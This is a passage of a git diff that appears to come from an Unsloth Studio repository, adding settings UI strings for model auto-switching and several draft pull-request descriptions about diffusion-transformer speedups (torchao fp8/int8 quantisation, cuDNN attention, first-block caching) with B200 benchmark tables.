@@ -412,9 +519,9 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
{/* Only when not launched with --secure: the raw 0.0.0.0 port is
still globally reachable, so point the user at --secure. */}
- {!secure ? (
+ {secure ? null : (
-
+
- ) : null}
+ )}
{/* Always rendered (dimmed when off) so toggling never changes the
row height and shifts the code block below. */}
diff --git a/studio/frontend/src/features/settings/tabs/general-tab.tsx b/studio/frontend/src/features/settings/tabs/general-tab.tsx
index b3f26c808e..247d5040fb 100644
--- a/studio/frontend/src/features/settings/tabs/general-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/general-tab.tsx
@@ -48,6 +48,7 @@ import {
updateUploadLimitSettings,
} from "../api/upload-limit";
import { ChangePasswordDialog } from "../components/change-password-dialog";
+import { ModelAutoSwitchSection } from "../components/model-auto-switch-section";
import { SettingsRow } from "../components/settings-row";
import { SettingsSection } from "../components/settings-section";
import { StudioVersionSection } from "../components/studio-version-section";
@@ -528,6 +529,8 @@ export function GeneralTab() {
+
+
diff --git a/studio/frontend/src/i18n/locales/en.ts b/studio/frontend/src/i18n/locales/en.ts
index b96365653b..8507fe5174 100644
--- a/studio/frontend/src/i18n/locales/en.ts
+++ b/studio/frontend/src/i18n/locales/en.ts
@@ -143,6 +143,22 @@ export const en = {
loadError: "Failed to load Helper LLM settings.",
saveError: "Failed to save Helper LLM settings.",
},
+ modelAutoSwitch: {
+ sectionTitle: "Model auto-switch (OpenAI API)",
+ enable: "Switch model by request",
+ enableDescription:
+ "When an OpenAI-compatible request names a different downloaded GGUF, load it before serving. Off by default; unknown names keep serving the loaded model.",
+ idleUnload: "Idle auto-unload",
+ idleUnloadDescription:
+ "Unload the model after this many idle seconds to free VRAM; the next request reloads it. 0 keeps it loaded.",
+ idleNeedsEnable:
+ "Turn on Switch model by request so an unloaded model reloads on next use.",
+ idleActiveViaEnv:
+ "Idle auto-unload is active via the UNSLOTH_MODEL_IDLE_TTL environment variable.",
+ loadError: "Failed to load model auto-switch settings.",
+ saveError: "Failed to save model auto-switch settings.",
+ idleError: "Enter a whole number of seconds (0 or more).",
+ },
previewSharing: {
sectionTitle: "Preview sharing",
enableLabel: "Public preview links",
diff --git a/temp/_pr_body_check.txt b/temp/_pr_body_check.txt
new file mode 100644
index 0000000000..aaa5a47a5c
--- /dev/null
+++ b/temp/_pr_body_check.txt
@@ -0,0 +1,58 @@
+## Summary
+
+An opt-in **fast transformer** mode for the Studio diffusion backend: load the dense bf16 transformer and torchao-quantise it onto the low-precision tensor cores, instead of the GGUF transformer. Stacked on the Phase 7 perf pass (#6690).
+
+The motivation, measured on a B200 (Z-Image-Turbo, 1024px / 8 steps, LPIPS vs the dense bf16 reference): GGUF stores the transformer 4-bit but **dequantises to bf16 on every matmul**, so it runs at bf16 tensor-core rate and never touches the int8 / fp8 / fp4 cores. It is a memory win that costs speed. Loading the dense bf16 transformer and quantising it dynamically with torchao runs the matmul on the actual low-precision cores:
+
+| config | sec | vs GGUF+compile | LPIPS vs bf16 |
+| --- | --- | --- | --- |
+| GGUF + compile (today's default) | 0.802 | 1.00x | 0.083 |
+| dense bf16 + compile (no quant) | 0.671 | 1.20x | 0.004 |
+| int8 dynamic + compile | 0.603 | **1.33x** | 0.069 |
+| fp8 dynamic + compile | 0.585 | **1.37x** | 0.058 |
+
+Every working scheme beats GGUF on **both** speed and quality (LPIPS lands *below* GGUF's own 4-bit floor of 0.083). The only cost is memory: the dense bf16 transformer must be loaded (~2x the 4-bit GGUF), so the mode is strictly opt-in and gated on resident VRAM headroom. GGUF + compile stays the low-memory default and the fallback.
+
+## What it does
+
+New flag `transformer_quant` on the load request (`auto | int8 | fp8 | nvfp4 | mxfp8`, default off). When set and the device qualifies (CUDA + bf16 + the dense weights fit resident), the loader:
+
+1. loads the **dense bf16 transformer** from the family `base_repo` (`from_pretrained(subfolder="transformer")`) instead of the GGUF,
+2. places it on the device and torchao-quantises the FLOP-heavy linears,
+3. compiles the repeated block (existing Phase 7 regional compile), then applies placement — so the order is **quantize -> compile -> offload**.
+
+`auto` picks the best scheme for the GPU via a real quantise+matmul **smoke probe** (Blackwell nvfp4/mxfp8 -> fp8 -> int8; Ada/Hopper fp8 -> int8; Ampere int8). An explicit scheme is honored only if supported, never silently swapped. **Any** failure (unsupported arch/scheme, OOM, partial quant, or the dense weights not fitting resident) falls back to the GGUF build with a logged reason — the default path cannot regress.
+
+A `min_features=512` filter skips the tiny timestep/pooled/modulation projections: the int8 path uses `torch._int_mm`, which requires activation rows M>16, and those projections run at M=1 and crash it (measured: 239/276 Z-Image linears quantised, full speedup, no crash).
+
+## Design
+
+- New module `core/inference/diffusion_transformer_quant.py` mirrors `diffusion_precision.py` (the text-encoder quant module): pure functions, torch/torchao imported lazily, best-effort, hermetic CPU tests. It owns scheme selection + the arch/capability/smoke probe + the `quantize_` call.
+- `diffusion.py` `load_pipeline` gains the source-branch (dense+quant or GGUF), the VRAM preflight (reuses `plan_diffusion_memory` / `estimate_gguf_dense_mib`), and the fallback. `transformer_quant` threads through `begin_load` / `_LoadState` / `status()` exactly like `text_encoder_quant`.
+- Flag surface mirrors `text_encoder_quant`: request + status models in `models/inference.py`, forwarded in `routes/inference.py`.
+- torchao tensors are not safetensors-serializable; this backend is inference-only, so the engaged transformer carries a diagnostic runtime marker but there is no save path to guard.
+
+Blackwell nvfp4/mxfp8 are wired but currently smoke-fail on this box's torch 2.9 (the FP4/MX kernels need torch>=2.11 / the MX build); `auto` lands on fp8 there with no error, and they will activate automatically once the tooling supports them.
+
+## Measured through the backend (single B200, Z-Image-Turbo, 1024x1024, 8 steps, seed 12345)
+
+End to end through `DiffusionBackend` via `scripts/diffusion_bench.py`. LPIPS vs the dense bf16 reference is from `scripts/quant_probe.py` (the standalone lever probe).
+
+| `transformer_quant` | engaged scheme | median/gen | vs GGUF | load VRAM | gen VRAM | LPIPS |
+| --- | --- | --- | --- | --- | --- | --- |
+| (unset) GGUF + compile | none | 0.823 s | reference | 13.4 GB | 15.3 GB | 0.083 |
+| `auto` | fp8 | **0.614 s** | **1.34x** | 20.9 GB | 16.5 GB | 0.058 |
+| `int8` | int8 | 0.626 s | 1.32x | 20.9 GB | 16.5 GB | 0.069 |
+| `mxfp8` | mxfp8 | 0.651 s | 1.26x | 21.3 GB | 16.7 GB | n/m |
+
+`auto` selects fp8 on this B200 (nvfp4 smoke-fails on torch 2.9 -> the ladder prefers the measured-faster fp8 over mxfp8). The speed-for-memory trade is explicit: the dense bf16 load peaks ~21 GB vs GGUF's 13.4 GB; resident generation VRAM is close (16.5 vs 15.3 GB). Every engaged scheme is faster than GGUF *and* lands below its 0.083 LPIPS floor.
+
+## Tests
+
+CPU-only, hermetic (torch / torchao stubbed via `sys.modules`):
+- new `tests/test_diffusion_transformer_quant.py` — normalisation, the arch-selection ladder (Ampere int8 / Ada-Hopper fp8 / Blackwell nvfp4->mxfp8->fp8 fallback / pre-Ampere none / explicit-unsupported none), the smoke-probe cache + tolerance, the feature filter, and the apply path (calls `quantize_` with a filter_fn, sets the marker, tolerates failure).
+- extended `tests/test_diffusion_backend.py` — default load skips the dense path; the dense path engages and reports the scheme; a quant failure falls back to GGUF; the path is skipped when the plan would offload.
+- extended `tests/test_diffusion_routes.py` — the flag threads through to `begin_load` and an invalid enum is a 422.
+
+`scripts/diffusion_bench.py` gains `--transformer-quant` (through-the-backend benchmark + regression guard); `scripts/quant_probe.py` is the standalone torchao lever probe (latency + PSNR + LPIPS + VRAM vs the dense reference, with the `--min-feat` filter).
+
diff --git a/temp/_pr_body_check2.txt b/temp/_pr_body_check2.txt
new file mode 100644
index 0000000000..312ae185b6
--- /dev/null
+++ b/temp/_pr_body_check2.txt
@@ -0,0 +1,59 @@
+## Summary
+
+An opt-in **fast transformer** mode for the Studio diffusion backend: load the dense bf16 transformer and torchao-quantise it onto the low-precision tensor cores, instead of the GGUF transformer. Stacked on the Phase 7 perf pass (#6690).
+
+The motivation, measured on a B200 (Z-Image-Turbo, 1024px / 8 steps, LPIPS vs the dense bf16 reference): GGUF stores the transformer 4-bit but **dequantises to bf16 on every matmul**, so it runs at bf16 tensor-core rate and never touches the int8 / fp8 / fp4 cores. It is a memory win that costs speed. Loading the dense bf16 transformer and quantising it dynamically with torchao runs the matmul on the actual low-precision cores:
+
+| config | sec | vs GGUF+compile | LPIPS vs bf16 |
+| --- | --- | --- | --- |
+| GGUF + compile (today's default) | 0.802 | 1.00x | 0.083 |
+| dense bf16 + compile (no quant) | 0.671 | 1.20x | 0.004 |
+| int8 dynamic + compile | 0.603 | **1.33x** | 0.069 |
+| fp8 dynamic + compile | 0.585 | **1.37x** | 0.058 |
+
+Every working scheme beats GGUF on **both** speed and quality (LPIPS lands *below* GGUF's own 4-bit floor of 0.083). The only cost is memory: the dense bf16 transformer must be loaded (~2x the 4-bit GGUF), so the mode is strictly opt-in and gated on resident VRAM headroom. GGUF + compile stays the low-memory default and the fallback.
+
+## What it does
+
+New flag `transformer_quant` on the load request (`auto | int8 | fp8 | nvfp4 | mxfp8`, default off). When set and the device qualifies (CUDA + bf16 + the dense weights fit resident), the loader:
+
+1. loads the **dense bf16 transformer** from the family `base_repo` (`from_pretrained(subfolder="transformer")`) instead of the GGUF,
+2. places it on the device and torchao-quantises the FLOP-heavy linears,
+3. compiles the repeated block (existing Phase 7 regional compile), then applies placement — so the order is **quantize -> compile -> offload**.
+
+`auto` picks the best scheme for the GPU via a real quantise+matmul **smoke probe** (Blackwell fp8 -> nvfp4 -> mxfp8 -> int8; Ada/Hopper fp8 -> int8; Ampere int8). An explicit scheme is honored only if supported, never silently swapped. **Any** failure (unsupported arch/scheme, OOM, partial quant, or the dense weights not fitting resident) falls back to the GGUF build with a logged reason — the default path cannot regress.
+
+A `min_features=512` filter skips the tiny timestep/pooled/modulation projections: the int8 path uses `torch._int_mm`, which requires activation rows M>16, and those projections run at M=1 and crash it (measured: 239/276 Z-Image linears quantised, full speedup, no crash).
+
+## Design
+
+- New module `core/inference/diffusion_transformer_quant.py` mirrors `diffusion_precision.py` (the text-encoder quant module): pure functions, torch/torchao imported lazily, best-effort, hermetic CPU tests. It owns scheme selection + the arch/capability/smoke probe + the `quantize_` call.
+- `diffusion.py` `load_pipeline` gains the source-branch (dense+quant or GGUF), the VRAM preflight (reuses `plan_diffusion_memory` / `estimate_gguf_dense_mib`), and the fallback. `transformer_quant` threads through `begin_load` / `_LoadState` / `status()` exactly like `text_encoder_quant`.
+- Flag surface mirrors `text_encoder_quant`: request + status models in `models/inference.py`, forwarded in `routes/inference.py`.
+- torchao tensors are not safetensors-serializable; this backend is inference-only, so the engaged transformer carries a diagnostic runtime marker but there is no save path to guard.
+
+Blackwell nvfp4/mxfp8 are wired but `auto` deliberately lands on fp8. NVFP4 is a torchao feature (torch core only provides the `float4_e2m1fn_x2` primitive, not a quantization workflow). It was validated both on this box's torch 2.9 (no FP4 kernel: torchao prints "Skipping import of cpp extensions ... upgrade to torch >= 2.11", so it dequantises FP4->bf16 and runs at bf16-compile rate) and in an isolated torch 2.11.0 + torchao CUTLASS env where the FP4 GEMM is genuinely live -- a 16384^3 GEMM hits ~3826 TFLOPS (2.52x bf16, 1.37x fp8). The catch is shape: the DiT's linears (hidden ~3072, MLP ~12288, M~4096) sit below the crossover where FP4 compute beats fp8, so end-to-end on Z-Image 1024px NVFP4 is **slower (0.81x fp8) and less accurate (LPIPS 0.166 vs fp8's 0.044)** even with the fast kernel. So the Blackwell `auto` ladder puts fp8 ahead of nvfp4 (nvfp4 stays an explicit opt-in); the NVFP4 triton path also still requires MSLK (repo unavailable), while the CUTLASS path is the real one. See `scripts/nvfp4_probe.py` (torch 2.9) and `scripts/nvfp4_t211_probe.py` (torch 2.11 micro + e2e).
+
+## Measured through the backend (single B200, Z-Image-Turbo, 1024x1024, 8 steps, seed 12345)
+
+End to end through `DiffusionBackend` via `scripts/diffusion_bench.py`. LPIPS vs the dense bf16 reference is from `scripts/quant_probe.py` (the standalone lever probe).
+
+| `transformer_quant` | engaged scheme | median/gen | vs GGUF | load VRAM | gen VRAM | LPIPS |
+| --- | --- | --- | --- | --- | --- | --- |
+| (unset) GGUF + compile | none | 0.823 s | reference | 13.4 GB | 15.3 GB | 0.083 |
+| `auto` | fp8 | **0.614 s** | **1.34x** | 20.9 GB | 16.5 GB | 0.058 |
+| `int8` | int8 | 0.626 s | 1.32x | 20.9 GB | 16.5 GB | 0.069 |
+| `mxfp8` | mxfp8 | 0.651 s | 1.26x | 21.3 GB | 16.7 GB | n/m |
+
+`auto` selects fp8 on this B200 (nvfp4 smoke-fails on torch 2.9 -> the ladder prefers the measured-faster fp8 over mxfp8). The speed-for-memory trade is explicit: the dense bf16 load peaks ~21 GB vs GGUF's 13.4 GB; resident generation VRAM is close (16.5 vs 15.3 GB). Every engaged scheme is faster than GGUF *and* lands below its 0.083 LPIPS floor.
+
+## Tests
+
+CPU-only, hermetic (torch / torchao stubbed via `sys.modules`):
+- new `tests/test_diffusion_transformer_quant.py` — normalisation, the arch-selection ladder (Ampere int8 / Ada-Hopper fp8 / Blackwell fp8->nvfp4->mxfp8 fallback / pre-Ampere none / explicit-unsupported none), the smoke-probe cache + tolerance, the feature filter, and the apply path (calls `quantize_` with a filter_fn, sets the marker, tolerates failure).
+- extended `tests/test_diffusion_backend.py` — default load skips the dense path; the dense path engages and reports the scheme; a quant failure falls back to GGUF; the path is skipped when the plan would offload.
+- extended `tests/test_diffusion_routes.py` — the flag threads through to `begin_load` and an invalid enum is a 422.
+
+`scripts/diffusion_bench.py` gains `--transformer-quant` (through-the-backend benchmark + regression guard); `scripts/quant_probe.py` is the standalone torchao lever probe (latency + PSNR + LPIPS + VRAM vs the dense reference, with the `--min-feat` filter).
+
+
diff --git a/temp/_pr_body_live.txt b/temp/_pr_body_live.txt
new file mode 100644
index 0000000000..158f8e2cb5
--- /dev/null
+++ b/temp/_pr_body_live.txt
@@ -0,0 +1,58 @@
+## Summary
+
+An opt-in **fast transformer** mode for the Studio diffusion backend: load the dense bf16 transformer and torchao-quantise it onto the low-precision tensor cores, instead of the GGUF transformer. Stacked on the Phase 7 perf pass (#6690).
+
+The motivation, measured on a B200 (Z-Image-Turbo, 1024px / 8 steps, LPIPS vs the dense bf16 reference): GGUF stores the transformer 4-bit but **dequantises to bf16 on every matmul**, so it runs at bf16 tensor-core rate and never touches the int8 / fp8 / fp4 cores. It is a memory win that costs speed. Loading the dense bf16 transformer and quantising it dynamically with torchao runs the matmul on the actual low-precision cores:
+
+| config | sec | vs GGUF+compile | LPIPS vs bf16 |
+| --- | --- | --- | --- |
+| GGUF + compile (today's default) | 0.802 | 1.00x | 0.083 |
+| dense bf16 + compile (no quant) | 0.671 | 1.20x | 0.004 |
+| int8 dynamic + compile | 0.603 | **1.33x** | 0.069 |
+| fp8 dynamic + compile | 0.585 | **1.37x** | 0.058 |
+
+Every working scheme beats GGUF on **both** speed and quality (LPIPS lands *below* GGUF's own 4-bit floor of 0.083). The only cost is memory: the dense bf16 transformer must be loaded (~2x the 4-bit GGUF), so the mode is strictly opt-in and gated on resident VRAM headroom. GGUF + compile stays the low-memory default and the fallback.
+
+## What it does
+
+New flag `transformer_quant` on the load request (`auto | int8 | fp8 | nvfp4 | mxfp8`, default off). When set and the device qualifies (CUDA + bf16 + the dense weights fit resident), the loader:
+
+1. loads the **dense bf16 transformer** from the family `base_repo` (`from_pretrained(subfolder="transformer")`) instead of the GGUF,
+2. places it on the device and torchao-quantises the FLOP-heavy linears,
+3. compiles the repeated block (existing Phase 7 regional compile), then applies placement — so the order is **quantize -> compile -> offload**.
+
+`auto` picks the best scheme for the GPU via a real quantise+matmul **smoke probe** (Blackwell fp8 -> nvfp4 -> mxfp8 -> int8; Ada/Hopper fp8 -> int8; Ampere int8). An explicit scheme is honored only if supported, never silently swapped. **Any** failure (unsupported arch/scheme, OOM, partial quant, or the dense weights not fitting resident) falls back to the GGUF build with a logged reason — the default path cannot regress.
+
+A `min_features=512` filter skips the tiny timestep/pooled/modulation projections: the int8 path uses `torch._int_mm`, which requires activation rows M>16, and those projections run at M=1 and crash it (measured: 239/276 Z-Image linears quantised, full speedup, no crash).
+
+## Design
+
+- New module `core/inference/diffusion_transformer_quant.py` mirrors `diffusion_precision.py` (the text-encoder quant module): pure functions, torch/torchao imported lazily, best-effort, hermetic CPU tests. It owns scheme selection + the arch/capability/smoke probe + the `quantize_` call.
+- `diffusion.py` `load_pipeline` gains the source-branch (dense+quant or GGUF), the VRAM preflight (reuses `plan_diffusion_memory` / `estimate_gguf_dense_mib`), and the fallback. `transformer_quant` threads through `begin_load` / `_LoadState` / `status()` exactly like `text_encoder_quant`.
+- Flag surface mirrors `text_encoder_quant`: request + status models in `models/inference.py`, forwarded in `routes/inference.py`.
+- torchao tensors are not safetensors-serializable; this backend is inference-only, so the engaged transformer carries a diagnostic runtime marker but there is no save path to guard.
+
+Blackwell nvfp4/mxfp8 are wired but `auto` deliberately lands on fp8. NVFP4 is a torchao feature (torch core only provides the `float4_e2m1fn_x2` primitive, not a quantization workflow). It was validated both on this box's torch 2.9 (no FP4 kernel: torchao prints "Skipping import of cpp extensions ... upgrade to torch >= 2.11", so it dequantises FP4->bf16 and runs at bf16-compile rate) and in an isolated torch 2.11.0 + torchao CUTLASS env where the FP4 GEMM is genuinely live -- a 16384^3 GEMM hits ~3826 TFLOPS (2.52x bf16, 1.37x fp8). The catch is shape: the DiT's linears (hidden ~3072, MLP ~12288, M~4096) sit below the crossover where FP4 compute beats fp8, so end-to-end on Z-Image 1024px NVFP4 is **slower (0.81x fp8) and less accurate (LPIPS 0.166 vs fp8's 0.044)** even with the fast kernel. So the Blackwell `auto` ladder puts fp8 ahead of nvfp4 (nvfp4 stays an explicit opt-in); the NVFP4 triton path also still requires MSLK (repo unavailable), while the CUTLASS path is the real one. See `scripts/nvfp4_probe.py` (torch 2.9) and `scripts/nvfp4_t211_probe.py` (torch 2.11 micro + e2e).
+
+## Measured through the backend (single B200, Z-Image-Turbo, 1024x1024, 8 steps, seed 12345)
+
+End to end through `DiffusionBackend` via `scripts/diffusion_bench.py`. LPIPS vs the dense bf16 reference is from `scripts/quant_probe.py` (the standalone lever probe).
+
+| `transformer_quant` | engaged scheme | median/gen | vs GGUF | load VRAM | gen VRAM | LPIPS |
+| --- | --- | --- | --- | --- | --- | --- |
+| (unset) GGUF + compile | none | 0.823 s | reference | 13.4 GB | 15.3 GB | 0.083 |
+| `auto` | fp8 | **0.614 s** | **1.34x** | 20.9 GB | 16.5 GB | 0.058 |
+| `int8` | int8 | 0.626 s | 1.32x | 20.9 GB | 16.5 GB | 0.069 |
+| `mxfp8` | mxfp8 | 0.651 s | 1.26x | 21.3 GB | 16.7 GB | n/m |
+
+`auto` selects fp8 on this B200 (nvfp4 smoke-fails on torch 2.9 -> the ladder prefers the measured-faster fp8 over mxfp8). The speed-for-memory trade is explicit: the dense bf16 load peaks ~21 GB vs GGUF's 13.4 GB; resident generation VRAM is close (16.5 vs 15.3 GB). Every engaged scheme is faster than GGUF *and* lands below its 0.083 LPIPS floor.
+
+## Tests
+
+CPU-only, hermetic (torch / torchao stubbed via `sys.modules`):
+- new `tests/test_diffusion_transformer_quant.py` — normalisation, the arch-selection ladder (Ampere int8 / Ada-Hopper fp8 / Blackwell fp8->nvfp4->mxfp8 fallback / pre-Ampere none / explicit-unsupported none), the smoke-probe cache + tolerance, the feature filter, and the apply path (calls `quantize_` with a filter_fn, sets the marker, tolerates failure).
+- extended `tests/test_diffusion_backend.py` — default load skips the dense path; the dense path engages and reports the scheme; a quant failure falls back to GGUF; the path is skipped when the plan would offload.
+- extended `tests/test_diffusion_routes.py` — the flag threads through to `begin_load` and an invalid enum is a 422.
+
+`scripts/diffusion_bench.py` gains `--transformer-quant` (through-the-backend benchmark + regression guard); `scripts/quant_probe.py` is the standalone torchao lever probe (latency + PSNR + LPIPS + VRAM vs the dense reference, with the `--min-feat` filter).
+
diff --git a/temp/phase10_pr_body.md b/temp/phase10_pr_body.md
new file mode 100644
index 0000000000..4fd4e6ed8a
--- /dev/null
+++ b/temp/phase10_pr_body.md
@@ -0,0 +1,74 @@
+## Summary
+
+A selectable **attention backend** for the Studio diffusion transformer, via the diffusers
+`set_attention_backend` dispatcher. Stacked on the Phase 9 pre-quantized loading pass (#6700).
+
+Attention is memory-bandwidth bound, so swapping in a better SDPA kernel is a real end-to-end
+win that is **orthogonal to the linear-weight quantisation** (it speeds the QK/PV matmuls
+torchao never touches) and composes with torch.compile.
+
+Measured on a B200 (Z-Image-Turbo, 1024px / 8 steps, dense bf16 + regional compile = today's
+profile), LPIPS vs the default backend:
+
+| attention | sec | vs default | LPIPS |
+| --- | --- | --- | --- |
+| default SDPA (`native`) | 0.686 | 1.00x | reference |
+| **cuDNN fused (`_native_cudnn`)** | **0.584** | **1.18x** | 0.004 |
+
+cuDNN's fused attention is **1.18x end-to-end, near-lossless** (LPIPS 0.004 is below the
+compile/quant noise floor). It is exact (not quantized) and broadly available on NVIDIA.
+
+## What it does
+
+New load flag `attention_backend` (`auto | native | cudnn | flash | flash3 | flash4 | sage |
+xformers | aiter`, default `auto`). Resolved per device, set on `pipe.transformer` **before
+compile** (compile traces attention):
+
+- **`auto`** picks the best *exact* backend: `_native_cudnn` on NVIDIA CUDA **when a speed
+ profile is active** (so `speed_mode=off` stays bit-identical), `native` SDPA elsewhere
+ (AMD / Intel / Apple / CPU, which the dispatcher already routes). The GGUF default path
+ (which defaults `speed_mode=default`) therefore picks up the cuDNN win automatically.
+- An **explicit** backend is honored verbatim: `cudnn` / `flash` / `flash3` (Hopper) /
+ `flash4` (SM100) are exact; `sage` is INT8 attention (a small quality cost, consumer
+ friendly); `xformers` / `aiter` are memory-efficient (NVIDIA) / AMD ROCm.
+- An **unavailable** kernel (missing package / wrong arch) is caught at set time and the load
+ falls back to the diffusers default rather than failing.
+
+## Design
+
+- New `core/inference/diffusion_attention.py` mirrors the sibling modules (pure functions,
+ torch/diffusers imported lazily, best-effort, hermetic tests): `normalize_attention_backend`,
+ `select_attention_backend(target, requested, *, speed_active)` (the per-device policy),
+ `apply_attention_backend(pipe, backend)` (set + graceful fallback).
+- `diffusion.py` `load_pipeline` selects + applies the backend right before
+ `apply_speed_optims` (so it precedes compile); `attention_backend` threads through
+ `begin_load` / `_LoadState` / `status()` like the other load knobs, and the engaged backend
+ is reported in status. Orthogonal to the transformer/text-encoder quant and to GGUF vs dense.
+- Flag surface: `DiffusionLoadRequest.attention_backend` (Literal) + the route forward +
+ `DiffusionStatusResponse.attention_backend`.
+
+## Tests
+
+CPU-only, hermetic (`_is_cuda_nvidia` monkeypatched; a fake transformer records / raises on
+`set_attention_backend`):
+- new `tests/test_diffusion_attention.py` -- normalisation + alias map, the select policy
+ (auto -> cuDNN on NVIDIA when speed active; native when off / off-NVIDIA; explicit honored;
+ `native` -> no-op), and apply (sets the backend, falls back to the default on an unavailable
+ kernel, handles a transformer without the method).
+- extended `tests/test_diffusion_routes.py` -- `attention_backend` threads through to
+ `begin_load`, and an invalid value is a 422.
+
+GPU verification: `scripts/perf_levers_probe.py` (the table above; also measured that
+SageAttention v1.0.6 lacks Blackwell kernels and FlashAttention `*_hub` need the `kernels`
+package -> both correctly fall back, while the lossless inductor autotune flags were
+~neutral on this B200/bf16 and are deferred), plus a backend-function smoke (auto ->
+`_native_cudnn`, finite image).
+
+## Scope / notes
+
+- `off` stays bit-identical: `auto` only upgrades attention when a speed profile is active.
+- cuDNN attention needs a recent cuDNN; the dispatcher validates at set time and falls back to
+ `native` otherwise, so there is no regression on older stacks.
+- `sage` / `flash*` are wired and validated by the fallback path, but not GPU-verified here
+ (sage's PyPI build has no SM100 kernels; the `*_hub` flash variants need `kernels`, which
+ conflicts with the diffusers huggingface-hub pin in this env) -> flagged, opt-in.
diff --git a/temp/phase11_pr_body.md b/temp/phase11_pr_body.md
new file mode 100644
index 0000000000..07af352c3d
--- /dev/null
+++ b/temp/phase11_pr_body.md
@@ -0,0 +1,57 @@
+## Summary
+
+Make the transformer `auto` quant pick **int8 on consumer / workstation GPUs**, while
+data-center parts keep fp8. Stacked on the Phase 10 attention pass (#6701).
+
+Consumer Blackwell / Ada / Ampere (and workstation RTX) GPUs **halve** fp8 (and fp16/bf16)
+tensor-core throughput when the matmul accumulates in FP32, while **int8 runs at full rate**
+(its int32 accumulate is not nerfed). So on a consumer card the int8 tensor cores are the
+faster path, not fp8.
+
+Public benchmarks back this directly. SDNQ's per-GPU matmul numbers (int8 via
+`torch._int_mm` vs fp8 via `torch._scaled_mm`):
+
+| GPU | bf16 | int8 | fp8 | int8 vs bf16 |
+| --- | --- | --- | --- | --- |
+| RTX 3090 (Ampere) | 76 | **184** | 0 (no fp8 HW) | 2.4x |
+| RTX 4090 (Ada) | 164 | **359** | 83 rowwise / 269 TW | 2.2x |
+| RTX 5090 (Blackwell) | 232 | **471** | 433 | 2.0x |
+| RTX PRO 6000 (data-center) | 390 | 499 | **659** | 1.3x |
+
+int8 wins (or is the only option) on every consumer part; fp8 only wins on the data-center
+chip. This matches the consumer FP8-accumulate nerf exactly.
+
+## What it does
+
+When `transformer_quant=auto`, the per-arch ladder is reordered to put int8 first on a
+consumer / workstation GPU, detected by the existing `_is_consumer_gpu` name heuristic
+(GeForce / TITAN / workstation / unknown -> consumer; recognised data-center tokens like
+B200 / H100 / A100 / L40 -> not). Data-center HBM parts are unchanged and keep fp8 first.
+
+It is a pure reorder of schemes that already exist (`_prefer_consumer_scheme`): no new flags,
+no new kernels. The smoke probe still gates each scheme, and an explicit `transformer_quant`
+(e.g. forcing `fp8`) is still honored verbatim.
+
+## Design
+
+- `diffusion_transformer_quant.py`: `select_transformer_quant_scheme` now walks
+ `_prefer_consumer_scheme(tier, device)` -- which moves int8 to the front when
+ `_is_consumer_gpu(device)` -- instead of the raw data-center tier. The `_AUTO_LADDER`
+ comment documents that it is the data-center order, reordered per GPU class at selection.
+
+## Tests / verification
+
+- Hermetic CPU tests: consumer Blackwell (RTX 5090) and Ada (RTX 4090) and a workstation /
+ unknown name -> int8; data-center Ada (L40S), Hopper (H100), Blackwell (B200) -> fp8;
+ int8-unavailable on consumer falls back to the rest of the tier (fp8). The shared torch
+ stub now carries a device name so the selection sees a GPU class.
+- GPU non-regression on a B200: `_is_consumer_gpu("cuda")` is False, the reorder is a no-op,
+ and `auto` still resolves to fp8 -- the data-center path is unchanged.
+
+## Notes
+
+- The consumer speedup itself is from the cited public benchmarks + the NVIDIA accumulate
+ specs (this CI box is a data-center B200, so only the non-regression is measured here).
+- int8 is also the broadest-compatibility scheme (Ampere+ and, via the same `torch._int_mm`
+ core, the most portable to AMD / Intel), so this also nudges the widest set of consumer
+ hardware onto a working fast path by default.
diff --git a/temp/phase12_pr_body.md b/temp/phase12_pr_body.md
new file mode 100644
index 0000000000..e237afc91d
--- /dev/null
+++ b/temp/phase12_pr_body.md
@@ -0,0 +1,42 @@
+### Summary
+
+Adds opt-in step caching (First-Block-Cache) for the diffusion transformer. Across denoise steps a DiT's output settles, so once the first block's residual barely changes the remaining blocks are skipped and their cached output reused. diffusers ships this natively (`FirstBlockCacheConfig` + `transformer.enable_cache`, with the standalone `apply_first_block_cache` hook as a fallback).
+
+This is the next lever in the Studio diffusion efficiency stack, targeting denoise-time speed on many-step models.
+
+### Measured (Flux.1-dev, 28 steps, 1024px, one B200)
+
+Reference is the no-cache compiled output (`scripts/fbcache_flux_probe.py`):
+
+| mode | latency | speedup | LPIPS vs no-cache |
+| --- | --- | --- | --- |
+| compile baseline | 2.83s | 1.00x | ref |
+| fbcache (threshold 0.08) | 2.03s | 1.40x | ~0.08 |
+
+~1.4x on top of `torch.compile` at a small, well-bounded quality cost.
+
+### Design
+
+- OFF by default and a per-load opt-in. The win scales with step count, so it is for many-step models (Flux / Qwen-Image) and pointless for few-step distilled models (e.g. Z-Image-Turbo at ~8 steps), where a single skipped step is a large fraction of the trajectory.
+- Composes with regional compile only with `fullgraph=False` (the cache's per-step decision is a `torch.compiler.disable` graph break), which the speed layer now switches to automatically when a cache is engaged.
+- Best-effort: a model whose block signature the hook does not recognise is caught and the load proceeds uncached.
+- The residual threshold auto-raises for a quantised transformer (0.08 -> 0.12), which shifts the residual distribution, per ParaAttention's fp8 guidance. An explicit `transformer_cache_threshold` overrides.
+
+### Changes
+
+- new `core/inference/diffusion_cache.py`: `normalize_transformer_cache` + `apply_step_cache` (enable_cache / apply_first_block_cache fallback; lazy diffusers import).
+- `diffusion_speed.py`: `apply_speed_optims` takes `cache_active`; compile drops `fullgraph` when a cache is engaged.
+- `diffusion.py`: `apply_step_cache` runs before compile; `transformer_cache` / `transformer_cache_threshold` thread through `begin_load` -> `load_pipeline`, and the engaged mode is reported in `status()`.
+- `models/inference.py` + `routes/inference.py`: `transformer_cache` (`off | fbcache`) and `transformer_cache_threshold` request fields; engaged mode in the status response.
+- hermetic tests for normalisation, the enable_cache / hook-fallback paths, threshold selection, and best-effort failure handling, plus route threading + validation (422 on a bad enum / out-of-range threshold).
+- `scripts/fbcache_flux_probe.py`: the Flux validation probe (latency / speedup / VRAM / LPIPS vs the compiled no-cache baseline).
+
+### Compatibility
+
+Default behaviour is unchanged: the request field defaults to `null` so nothing engages unless a caller opts in. No change to the GGUF build, the dense fast path, the placement/offload order, or any other family.
+
+### Testing
+
+`python -m pytest tests/ -q -k diffusion` -> 230 passed. The Flux speedup/quality numbers above are from `scripts/fbcache_flux_probe.py`.
+
+Stacked on #6702 (Phase 11). Base branch `diffusion-phase11-consumer-int8`.
diff --git a/temp/phase14_pr_body.md b/temp/phase14_pr_body.md
new file mode 100644
index 0000000000..21a8b98131
--- /dev/null
+++ b/temp/phase14_pr_body.md
